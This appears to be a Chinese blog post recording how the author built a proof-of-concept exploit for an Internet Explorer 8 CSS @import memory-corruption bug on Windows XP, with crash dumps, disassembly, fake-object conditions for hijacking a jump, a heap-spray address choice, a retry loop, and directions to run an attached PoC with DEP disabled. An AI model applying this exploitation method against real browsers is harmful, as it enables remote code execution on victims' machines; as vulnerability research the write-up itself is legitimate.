本文最后提供的POC不能再win7+IE8上成功运行,由于篇幅问题,我会在下一篇文章讨论如何让这个POC在win7+IE8下能跑。

 最近由于某些原因,自己尝试针对一个漏洞写了POC Exploit,中间学到了不少东西,我想在这里 把整个过程记录下来,希望对大家有所帮助,也欢迎大家批评指正。
 漏洞链接如下,是IE8的一个 CSS 漏洞:http://www.wooyun.org/bugs/wooyun-2010-0885
 值得一提的是,这个漏洞是中国黑客发现的,并且公布在中国本土的漏洞平台上, 这里想对作者路人甲说一声Good Job!
事情的起因是老板不知在哪里看到了这个漏洞的描述,于是问我们能不能防这个漏洞啊,我就去网上POC,看到了这篇文章:http://www.breakingpointsystems.com/...vulnerability/
然而我把他的POC下下来以后,在我的测试机上(XP SP3, IE8)总是出问题,很不稳定,迫不得已之好自己尝试写一个POC。

一 非法地址的控制
 我们先跑一下漏洞发布者给的原始文件,看到crash点在:
(7c4.444): C++ EH exception - code e06d7363 (first chance)
(7c4.748): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=003f74f8 ecx=00730063 edx=0000001b esi=00000002 edi=0043466c
eip=5f1c616c esp=036bb8e8 ebp=036bb8f4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CSharedStyleSheet::Notify+0x1d:
5f1c616c 83791801        cmp     dword ptr [ecx+18h],1 ds:0023:0073007b=????????
0:005> kv
ChildEBP RetAddr  Args to Child              
036bb8f4 5f1c6137 00000001 003f74f8 0040f480 mshtml!CSharedStyleSheet::Notify+0x1d

Ecx没有指向一个合法地址, 而上一条指令 是“mov     ecx,dword ptr [edi]”,表面这个非法地址来自edi指向的内容:
0:005> db edi-10
0043465c  00 00 00 8c 0e 00 00 00-63 00 73 00 73 00 2e 00  ........c.s.s...
0043466c  63 00 73 00 73 00 00 00-a8 79 3f 00 00 c9 d4 6b  c.s.s....y?....k
0043467c  00 00 00 8c 0e 00 00 00-63 00 73 00 73 00 2e 00  ........c.s.s...
0043468c  63 00 73 00 73 00 00 00-72 00 00 00 1c c9 d4 6b  c.s.s...r......k
0043469c  00 00 00 8c 0e 00 00 00-63 00 73 00 73 00 2e 00  ........c.s.s...
可以看到ecx=0x00730063其实是两个unicode字符’c’’s’, 来自”css.css”这个串中,回忆我们的原始poc, 在”css.css”文件里面有这样的代码:
@import url("css.css");

@import url("css.css");

@import url("css.css");

@import url("css.css");
       到这里一个很自然的想法就是,是不是改了文件名,这里ecx的值就相应改变了呢? 答案是肯定的,有兴趣的同学可以自己做个实验, 把”css.css”改成”aaaaaaa” (本身文件名和相应的html里的路径名也要改),然后看一下crash时 ecx的值。
      既然我们可以控制ecx的值,那我们希望能使它 指向一块稳定的我们可以控制的内存,到哪里找这样的内存呢,这里请出全世界Exploit爱好者的好朋友-Heap Spray同学 -我们靠heap spray覆盖的相应的地址,这里我选的地址是0c0c0cxx。
      根据上面的分析,要让ecx等于0c0c0cxx, 那css文件的文件名以及import时候的文件名都要改成0c0c0cxx,这个是可以办到的, 只要我们创建文件的时候文件名和文件内容都用utf-16编码 就可以了, 在我的机子上这些文件看起来是这个样子滴:
 
http://lh4.ggpht.com/_EU7WUVZt4Xo/TQxhKe1KqlI/AAAAAAAAAG4/4EO6K9gKeZM/11111.jpg
二 控制权的转移
     到目前为止我们成功控制了ecx寄存器的值,下面就是找一个地方可以实现控制权转移到我们的shellcode,  再来看一下当前指令:
.text:74D86166 loc_74D86166:     ; CODE XREF: CSharedStyleSheet::Notify(ulong)+2Dj
.text:74D86166                 test    esi, esi
.text:74D86168                 jle     short loc_74D8617C
.text:74D8616A                 mov     ecx, [edi]
.text:74D8616C                 cmp     dword ptr [ecx+18h], 1
.text:74D86170                 jz      loc_74EC0E7E
.text:74D86176
.text:74D86176 loc_74D86176:                           ; CODE XREF: CSharedStyleSheet::Notify(ulong)+38j
.text:74D86176                 dec     esi
.text:74D86177                 add     edi, 4
.text:74D8617A                 jmp     short loc_74D86166
   这里其实是个循环, edi每次增加4, 然后edi里读出一个值给ecx, 如果[ecx+18]等于1,  会执行CStyleSheet:Notify
.text:74EC0E7E                 mov     eax, [ebp+arg_0]
.text:74EC0E81                 call    ?Notify@CStyleSheet@@IAEJK@Z ; CStyleSheet::Notify(ulong)
在看一下CStyleSheet:Notify,  里面有一个对CStyleSheet::GetMarkup的调用, 里面有我们感兴趣的代码:
text:74DDC33E loc_74DDC33E:                           ; CODE XREF: CElement::GetMarkupPtr(void)+16j
.text:74DDC33E                 mov     ecx, [ecx+24h]
.text:74DDC341                 mov     eax, [ecx]
.text:74DDC343                 mov     edx, [eax+20h]
.text:74DDC346                 jmp     edx

如果能走到74ddc346 的jmp edx, 那我们就能得到程序控制权! 而为了走到这里,ecx指向的数据需要满足如下条件
1.  [ecx+18] == 1    (对应指令74D8616C  cmp     dword ptr [ecx+18h], 1)
2.  [ecx+30]可读,   (对应指令74FE6B0A   mov     eax, [esi+30h], 这里我们让它指向自身)
3.  [ecx+54]可读且为2的倍数,   (对应指令74FE6503  test    byte ptr [eax+54h], 2)
4.  [ecx+20]可读  (对应指令74D7A956    mov     ecx, [eax+20h])
5.  Byte([[ecx+20]+1c]) > 0x80 (对应指令74DDC33A  test    al, al | 74DDC33C jns     short loc_74DDC348)
6.  最后跳转地址= [[[[ecx+20]+1c]]+20] (对应指令序列: 74D7A956  mov     ecx, [eax+20h] | 74DDC337  mov     eax, [ecx+1Ch] | 74DDC33E  mov     ecx, [ecx+24h] |  74DDC341  mov     eax, [ecx] | 74DDC343  mov     edx, [eax+20h] | 74DDC346  jmp     edx)
最后我们spray的内容如下, 假设起始地址为X,
http://lh3.ggpht.com/_EU7WUVZt4Xo/TQwrs6NjHUI/AAAAAAAAAGo/ZjMa7pRWCXI/New%20Bitmap%20Image.jpg  
 大家可以对照POC文件自己走一下,会理解的比较清楚
三 内存对齐
      到了这一步,想必大家的心情和我一样激动,因为胜利就在眼前了。我们还剩下最后一个关卡,那就是对齐问题。前面可以看到,我们伪造的对象(我们把它叫做FakeObject),每一个大小为0x2C字节,显然在漏洞触发时(ecx被赋值成0c0c0cxx时), ecx必须正好指向一个FakeObject的起始地址,这样才能顺利地执行到jmp edx, 把控制权交给我们的shellcode。
     在这里我做了个实验, 连续运行五次POC, 看0c0c0c0c这个地址是否正好指向一个FakeObject的起始地址,结果让人失望,五次的测试中,0c0c0c0c分别指向FakeObject+8, FakeObject+8, FakeObject+1c, FakeObject+20, FakeObject+1c, 没有一次是对齐的,而且基本每次结果都有差异!
     为了解决这个问题,我用了个不是很漂亮的解决方法,就是不停地重试。应为即使ecx没有正确指向FakeObject的开头,也不会使IE Crash, 那我们就可以不停地试,用一个循环,让ecx分别等于0c0c0c00, 0c0c0c04, ……, 0c0c0c28, 一共循环11次 (FakeObject大小/4), 这样的话总有一次可以成功。为了实现这一点,我们就需要生成11个css文件(壮观吧)。 循环如下(大家可以直接看POC文件):
for (var i = 0; i < num_css_files; i ++)
{
    spray(i*4);
    exploit(i);
}
四 测试
        我把POC文件打包上传了,大家可以试一下。由于编码问题,希望大家测试的时候在本机上当场生成css文件。压缩包里面有个1.py文件,运行以后会生成11个css文件和一个2.html,用IE8打开2.html就可以测试了。不要自己搭web server测试,应为同样存在编码问题 (你问我怎么通过web server也能触发? 你想干坏事吧,才不告诉你呢 )
       另外,这个版本没有考虑DEP的问题 (我会在下一篇文章里讲如何针对这个漏洞来构建Win7+IE8的POC),  要想 shellcode能跑起来, 请使用XP并禁用IE8的DEP选项
      最后,Enjoy Exploiting!

密码: novirus
poc.zip